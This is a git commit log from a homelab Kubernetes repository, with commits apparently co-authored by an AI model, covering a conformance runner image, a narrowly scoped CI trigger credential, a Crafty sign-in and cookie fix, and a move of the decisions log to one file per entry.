2026-09-29 22:49:34 -05:00
jakman85andClaude Opus 5 529556d7c7 fix(conformance): state the chainsaw supply-chain gap accurately
The Containerfile said chainsaw "publishes no per-asset checksum file at a stable
URL". Literally true, and misleading: it reads as "no integrity option exists".
Checked the release assets via the GitHub API -- v0.2.12 ships per-asset cosign
`.sig` + `.pem` and an SBOM alongside each tarball. So verification IS available,
it just needs cosign in the builder stage and the right keyless identity for
kyverno's release workflow.

Comment now says what is actually true: kubectl is sha256-verified, chainsaw rests
on tag + TLS, and the cosign path is named as a TODO rather than implied away.
Deliberately not implemented here -- picking a trusted signer identity is a
supply-chain decision that belongs in its own reviewed change, not a silent
addition to a runner image. Noted that infra/devcontainer/Containerfile has the
same gap for the same binary.

Rebuilt after the edit; the in-image verification still passes.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:49:34 -05:00
jakman85andClaude Opus 5 8619c60e6e feat(conformance): build the runner image the in-cluster Job could never have run
The committed L2/L3 Job pins `ghcr.io/kyverno/chainsaw:v0.2.12` with
`command: ["./run.sh"]`. Those two lines cannot both be true. That image carries
the chainsaw binary and essentially nothing else -- no bash, no python3, no
kubectl, no git -- so the Job would have failed at exec of `./run.sh`, before a
single test ran. Nothing in the tree said so.

This adds the image that makes the Job runnable (plan
docs/plans/l2-l3-conformance-ci-wiring.md section 3 item 1):

* conformance/incluster/Containerfile -- bash + python3 + chainsaw + kubectl +
  git-core + tar/gzip/coreutils (the base64-tar results channel of item 3).
  Two-stage: a full Fedora fetches the release binaries and verifies kubectl's
  published sha256; the runtime layer is fedora-minimal and carries no
  downloader. Versions are --build-arg-injected from
  infra/devcontainer/versions.env (CHAINSAW_VERSION, KUBECTL_VERSION,
  FEDORA_VERSION) -- the single source of truth -- so the chainsaw and kubectl in
  the runner are the same pins the toolbox gate runs with. No new pin is invented
  here, and the ARG defaults are EMPTY so a build that forgets one fails loudly
  instead of baking a stale version.

* conformance/incluster/build-image.sh -- builds it, PROVES the toolchain by
  executing it inside the image, and prints the digest. It never pushes: the
  registry credential is not an agent's to hold and publishing the artifact a
  fail-closed policy then trusts is an operator action. It prints the exact
  `podman push --digestfile ...` line instead.

* conformance/versions.env -- CONFORMANCE_RUNNER_IMAGE, with the digest
  deliberately EMPTY and a loud block saying the operator fills it in after the
  push. Empty is a visible failure in whatever renders the Job; a guessed digest
  would be an ImagePullBackOff dressed up as a cluster fault.

WHAT THE ADMISSION BOUNDARY FORCED, AND WHY THE IMAGE OBEYS IT

platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
failurePolicy: Fail and it is the R-SEC-02 boundary. It is NOT modified here.
Two of its clauses are load-bearing on the image itself:

* `runAsNonRoot: true` with no explicit runAsUser means the kubelet rejects an
  image whose USER is a name it cannot resolve to a uid. So USER is NUMERIC
  (65532), not a friendly name.
* The pod is readOnlyRootFilesystem and the policy admits only the `workspace`
  and `results` volumes -- there is no writable /tmp and one cannot be added
  without editing the boundary. So HOME, XDG_CACHE_HOME, XDG_CONFIG_HOME and
  TMPDIR all point into /workspace, and git's safe.directory config is written
  to /etc/gitconfig at BUILD time because a runtime --global write would fail.

VERIFIED BY RUNNING IT, not by a successful build

As uid 65532 with --read-only: bash 5.3.9, Python 3.14.7, git 2.55.0,
kubectl v1.36.4 (client), chainsaw 0.2.12; / confirmed read-only, /workspace
writable, uid confirmed non-zero. Then the real thing -- `./run.sh --lint`,
`--coverage-only` and `--layer l2 --no-cluster` all rc 0 inside the image
against this worktree, emitting coverage.md/.json and report.junit.xml.

KNOWN LIMIT, FLAGGED NOT PAPERED OVER

run.sh runs the selected offline L0/L1 checks before it touches the cluster for
ANY selection that is not offline-only, and those checks shell out to flux,
promtool, kyverno and kustomize, which this image does not carry. Baking the
whole devcontainer toolchain into the runner would roughly double its size to
re-run work ci/l0.sh and ci/l1.sh already did offline in the same CI run. So the
Job must select the cluster-gated layers only (`--layer l2` / `--layer l3`);
`--layer all` and a bare `--requirements <IDs>` would drag the L0 checks in and
fail on a missing tool. `--layer l2` is verified above to resolve the offline
selection to nothing. Choosing the Job's args belongs to T-6.1b; the constraint
is documented in the Containerfile header and the incluster README rather than
left for someone to discover from a pod log.

chainsaw-job.yaml's `image:` is left stale ON PURPOSE -- there is no digest to
put there yet, and the trigger renders that template per run (plan item 4). The
README now says so instead of letting the placeholder read as a pin.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:49:34 -05:00
jakman85andClaude Opus 5 01679a0681 docs(decisions): Crafty sign-in handoff — the gate was fine, the local login was the wall
gate / gate (pull_request) Successful in 1m35s
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Records what refused (Crafty's own 401, not oauth2-proxy), that the existing
bootstrap credential is still live (users.last_update == users.created), the
separate cookie-name collision fixed alongside, the traps measured rather
than assumed, the default.json seeding approach considered and rejected with
the entrypoint `ls -A` landmine that kills it, and — plainly — that no browser
round-trip was performed and the gate was rc 3, not green.

Written as its OWN FILE under decisions/ rather than appended to the tail of
DECISIONS-LOG.md. The single-file append is what made this PR (#22) and three
others unmergeable on 2026-09-29: every branch collided on the same last hunk,
with DECISIONS-LOG.md the only conflicting path in all four. The one-file-per-
entry layout and its ci/decisions-log.sh guard land in #24; this entry is
already written in that format, and validates against that checker (rc 0,
"1 entry well-formed"). This branch now touches DECISIONS-LOG.md not at all.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:48:18 -05:00
jakman85andClaude Opus 5 ea0c0632d2 fix(crafty): the Keycloak gate works -- Crafty's own login was the wall
Reported: "crafty does not sign in after signing into keycloak, and there is
no way to set the service up without credentials."

MEASURED, not inferred. The sidecar log settles which layer refused:

  GET /                        -> 302 to Keycloak
  [AuthSuccess] ... groups:[platform-admins]        <- oauth2-proxy is FINE
  GET /oauth2/callback         -> 302
  GET /login?next=/panel/dashboard -> 200           <- Crafty's OWN login page
  POST /api/v2/auth/login/     -> 401               <- Crafty refused

So the Keycloak gate was never broken. Crafty 4 has no OIDC and cannot consume
the sidecar's identity headers, so it shows its own local login to an already
authenticated user. That second factor is intended. What was NOT intended is
that nothing documented where its password comes from, which is exactly why
setup was impossible: Crafty generates it ONCE on first boot (users table
empty -> DatabaseBuilder.default_settings()) into /crafty/app/config/
default-creds.txt, mode 0600, on the PVC's `config` subPath. Never in git;
a fresh PVC generates a new one. The README asserted the double login was
"expected, not a bug" and then left the reader with no way forward.

Verified in-cluster that the existing credential is still usable, so the
service can be set up without touching the DB: users.last_update equals
users.created for `admin` (09/05/2026, 08:10:04), i.e. the password has never
been changed, and admin's last_login is 09/14 from 127.0.0.1 -- the API login
that created the "homelab" server. default-creds.txt is therefore live.

ALSO FIXED -- a real, separate defect found while proving the above, which
produces the reported symptom intermittently and would have been blamed on
Keycloak forever: this sidecar and the SHARED forward-auth oauth2-proxy both
emitted oauth2-proxy's DEFAULT cookie names (_oauth2_proxy,
_oauth2_proxy_csrf) scoped to .home.keithjackson.dev, while holding DIFFERENT
cookie-secrets (compared the two live Secrets: they differ, so neither can
decrypt the other's cookie). One cookie pair, two proxies: whichever
authenticated last clobbered the other's session; the loser logged "No valid
authentication in request", bounced to Keycloak, and -- SSO session still live
-- was redirected straight back, clobbering it again. Fixed on this side only
(renaming the shared proxy's cookie would sign out every other gated app):
a unique --cookie-name plus a host-scoped --cookie-domain, since a per-app
reverse proxy has no reason to broadcast its session zone-wide.
--whitelist-domain stays zone-wide: it governs redirect targets, not cookies.

Two traps measured rather than assumed, both now documented:
  - The 3-strikes cooldown CANNOT fire behind this sidecar. Crafty records
    attempts under get_remote_ip() (honours X-Forwarded-For -- the live
    tracker key is the chain "192.168.2.132, 10.0.0.123") but checks the
    cooldown under request.remote_ip, which is always 127.0.0.1 here. The
    halves key differently, so get_recent_attempts() always reads empty.
    Good (no lockout risk) and bad (that throttle is not a control we have).
  - Crafty's `set_passwd` console command is unreachable in k8s: it calls
    getpass.getpass() and needs a TTY; the container runs `main.py -d -i`.
    Recovery has to go through the DB, and argon2 is installed ONLY in
    /crafty/.venv/bin/python -- the system python3 lacks it.

Deliberately NOT done: an initContainer seeding default.json from a SOPS
Secret to make a rebuilt Crafty's password deterministic. Crafty does support
that hook (find_default_password reads app/config/default.json, min 8 chars),
but the image entrypoint pulls its default config ONLY when app/config is
EMPTY -- so writing a file there pre-boot suppresses the whole config
bootstrap. Buying reproducibility means co-owning image-internal bootstrap
logic that a 4.11 bump could silently change, to replace a one-command
retrieval. Recorded in DECISIONS-LOG as considered and rejected.

New runbook runbooks/crafty-admin-credential.md: tell the two auth layers
apart from the sidecar log, retrieve and rotate the bootstrap credential,
and reset a lost one via argon2 -- generating the password in-pod into a 0600
file rather than passing it in, because dev.sh does not forward stdin (a
`kubectl exec -i` through it hangs; verified). Registered in the configMapGenerator
so the URL actually resolves, not just the file exists.

Gate: toolbox ./ci/gate.sh -- lint/l0/render-golden/l1 green, spec-immutability
green. rc 3 overall: gitea-settings SKIPPED (no SETTINGS_API_TOKEN) and L2/L3
NOT RUN (CLUSTER_AVAILABLE unset). No runtime browser round-trip performed --
the sign-in fix is UNVERIFIED end-to-end and needs the human test in the README.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:48:18 -05:00
jakman85andClaude Opus 5 ae5c7385a5 docs(gitea): the README still named the ILLEGAL secret GITEA_SETTINGS_TOKEN
PR #15 renamed the Actions secret to SETTINGS_API_TOKEN because Gitea RESERVES the
GITEA_ prefix and rejects such a name with HTTP 400 "invalid secret name" -- the
defect that left the branch-protection detector inert and unnoticed. The README in
this very directory, which documents that story, went on naming the illegal name in
its behaviour table and in its closing "remaining step" line.

Both now say SETTINGS_API_TOKEN, plus a note recording what ci/gitea-settings.sh
ACTUALLY does, quoted from the file rather than assumed:

    TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"

GITEA_SETTINGS_TOKEN is still honoured, but ONLY as an environment variable for a
local run -- it can never be the CI wiring, because the secret that would feed it
cannot be created at all. The closing line also predated PR #15 storing the secret;
it now says so.

Documentation only. No behaviour change.

NOT fixed here, because it is outside this PR's diff: ci/gitea-settings.sh:45 still
instructs the reader to "create a Gitea repo secret GITEA_SETTINGS_TOKEN", which is
impossible. Same defect, different file -- worth its own one-line change.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:47:55 -05:00
jakman85andClaude Opus 5 19f9a8ae0c feat(sec): provision the narrow conformance CI trigger credential -- and refuse to arm a fake green
docs/plans/l2-l3-conformance-ci-wiring.md §3 item 6, as an operator script:
infra/gitea/conformance-trigger-kubeconfig.sh. UNEXECUTED here -- minting a
cluster credential and changing Gitea variables are operator actions.

It mints a token for conformance/conformance-trigger (TokenRequest), wraps ONLY
that token with the cluster CA and server into a kubeconfig, and stores it as the
Actions secret CONFORMANCE_TRIGGER_KUBECONFIG. Never cluster-admin, never a copy
of the operator's own kubeconfig. The token is never printed and never reaches
argv: it goes into a 0600 file and into the PUT body FILE (--data @file), and the
script refuses to run under `set -x` because xtrace would print it.

Two traps this repo already paid for are designed around:

  * GITEA_ is a RESERVED secret-name prefix (HTTP 400 "invalid secret name"), so
    the name is CONFORMANCE_TRIGGER_KUBECONFIG -- which is also what gate.yml and
    merge-gate.yaml already reference.
  * `curl -sS` exits 0 on an HTTP error. Every write checks %{http_code} AND reads
    the object back. The secret read-back proves presence by NAME only (Gitea
    never returns secret values) and the script says so rather than implying its
    content was checked; the variable read-back asserts the value is exactly
    "true", which is what gate.yml compares against.

PRECONDITIONS ARE SPLIT IN TWO, and the split is the security argument:

  mint-blocking (cluster) -- SA/Role/RoleBinding present, and ClusterPolicy
  conformance-trigger-job-shape present + Enforce + failurePolicy Fail + Ready.
  Any failure and NOTHING IS MINTED. Kubernetes places no `use` check on a Job's
  serviceAccountName, so a `create jobs` token in that namespace IS the privileged
  conformance-runner identity unless admission bounds its shape. RBAC cannot close
  that (plan §4); minting before the boundary is live hands CI the escalation the
  boundary exists to close.

  arm-blocking (repo) -- digest-pinned CONFORMANCE_RUNNER_IMAGE, an initContainer
  plus the admitted image in chainsaw-job.yaml, and CONFORMANCE_TRIGGER_KUBECONFIG
  referenced in ci/conformance.sh CODE rather than a comment. These block only
  vars.CLUSTER_AVAILABLE, because storing the secret early is harmless (the job is
  gated off) and is the plan's own order.

All three arm-blocking checks FAIL in the tree today, so a live run would store
the secret and then REFUSE to arm CLUSTER_AVAILABLE, naming each missing item.
That is the intended behaviour: measured 2026-09-29, CLUSTER_AVAILABLE=true with
no trigger path scaffold-skipped all 54 tests at rc 0 and the stage printed "L2/L3
conformance passed". ci/conformance.sh now blocks that case, so arming early does
not enable L2/L3 -- it only breaks every PR. Arming needs the explicit flag, every
precondition green, and a typed confirmation on a TTY.

Before storing anything, the credential is PROVEN narrow: auth whoami must be
system:serviceaccount:conformance:conformance-trigger, a real `get jobs` round-trip
must succeed, and an auth can-i matrix asserts both halves -- granted (create/get
jobs, get pods, get pods/log) and DENIED (delete jobs, create pods/exec, get
secrets, create jobs in default, get nodes, '*' '*' --all-namespaces). A mismatch
aborts before any store, and says explicitly not to widen
conformance/incluster/rbac.yaml to make it pass.

Verified only by `bash -n` (clean) and reading. The Gitea variables API shape
(POST creates, PUT updates, body field `value` not `data`) is from documentation,
not measurement: the script tries POST then PUT, prints the response body on
failure, and treats the read-back as the authority. Kyverno readiness is accepted
from either .status.ready or a Ready condition, and "neither present" blocks
rather than assuming ready.

Gate (pinned toolbox): MERGE GATE: UNDETERMINED (rc 3) -- spec-immutability and
gitea-settings unrun, the expected local result.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:47:55 -05:00
jakman85 c59fe9f923 Merge pull request 'chore(log): the handoff log was serialising every parallel branch' (#24) from chore/decisions-log-conflict-free into main
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Reviewed-on: #24
Reviewed-by: Keith Jackson <[email protected]>
2026-09-30 03:40:18 +00:00
jakman85andClaude Opus 5 72a46ad82d chore(log): the handoff log was serialising every parallel branch
gate / gate (pull_request) Successful in 1m35s
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DECISIONS-LOG.md was append-only in ONE file and every agent appended to its
tail, so any two concurrent branches collided on the same last hunk. Measured
against the live Gitea today: four of the five open PRs were mergeable=false,
and `git merge-tree` named DECISIONS-LOG.md as the ONLY conflicting path in
all four.

    #22 fix/crafty-oauth2-proxy-signin       CONFLICT: DECISIONS-LOG.md
    #20 feat/conformance-job-template        CONFLICT: DECISIONS-LOG.md
    #19 feat/conformance-trigger-kubeconfig  CONFLICT: DECISIONS-LOG.md
    #18 feat/conformance-runner-image        CONFLICT: DECISIONS-LOG.md
    #17 feat/ci-is-the-approver              clean — it wrote no handoff

Nothing was wrong with any of those changes. The log's storage format
serialised work that was otherwise parallel, and the cost grew with every
concurrent branch (N branches -> N-1 rebases, each invalidating the gate run
before it). The agents work in isolated worktrees precisely so they do not
block each other; this one file undid that.

So: stop sharing a file. Handoffs are now one-per-file under decisions/,
named YYYY-MM-DD-<slug>.md. Disjoint paths have nothing to merge. There is
deliberately no index file (a shared mutable file is the thing that just
failed) and no counter (two agents would race for the same number) — the
directory listing is the index.

DECISIONS-LOG.md is frozen as the pre-2026-09-29 archive, its SHA-256 pinned
in decisions/ARCHIVE.sha256, and a new gate stage rejects any change to it.
That is a guard and not a paragraph because the old habit is written into the
runbooks and into every agent that has read the log, and getting it wrong does
not fail: it produces a clean-looking commit that re-creates the conflict on
OTHER branches, later, misattributed.

  ci/decisions-log.sh        new stage: archive pinned; every entry named with
                             a real date, carrying date/branch/title frontmatter
                             that agrees with its filename, and all three of
                             CLAUDE.md §7's sections with a real body under each.
                             Exit 0 or 1 only — no skip path by construction, so
                             no fail-open surface on a guard that closes one.
  ci/gate.sh                 runs it; fail and (impossible) skip both BLOCK.
                             No REQUIRE_DECISIONS_LOG knob: a guard with an off
                             switch is not a guard.
  ci/tests/decisions-log.test.sh   22 assertions, incl. the one that matters —
                             an append to the archive is rejected, and the
                             message names the file to write instead.
  ci/tests/gate-decision.test.sh   +3 assertions for the new wiring, AND a
                             pre-existing bug: the stub list never included
                             gitea-settings, so run_stage saw exit 127 and
                             recorded a FAILED stage in every case. 15 of 47
                             assertions failed on main for that reason alone —
                             the suite was measuring its own missing stub.
                             Now 50/50.
  CLAUDE.md                  §7 rewritten; §2b widened to the new path.
  ci/Makefile, ci/README.md, .gitea/workflows/README.md — stage named where
                             the other stages are named.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:35:55 -05:00
jakman85 cadf64a514 Merge pull request 'docs(ci): the wiring comment named a secret Gitea cannot accept' (#21) from fix/gitea-settings-comment-names-impossible-secret into main
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Reviewed-on: #21
Reviewed-by: Keith Jackson <[email protected]>
2026-09-30 03:22:06 +00:00
jakman85 cfbc596b8b Merge pull request 'docs(crafty): Bedrock on 19132 RESOLVED — a player has joined; the wall was an empty allowlist' (#23) from fix/crafty-bedrock-19132 into main
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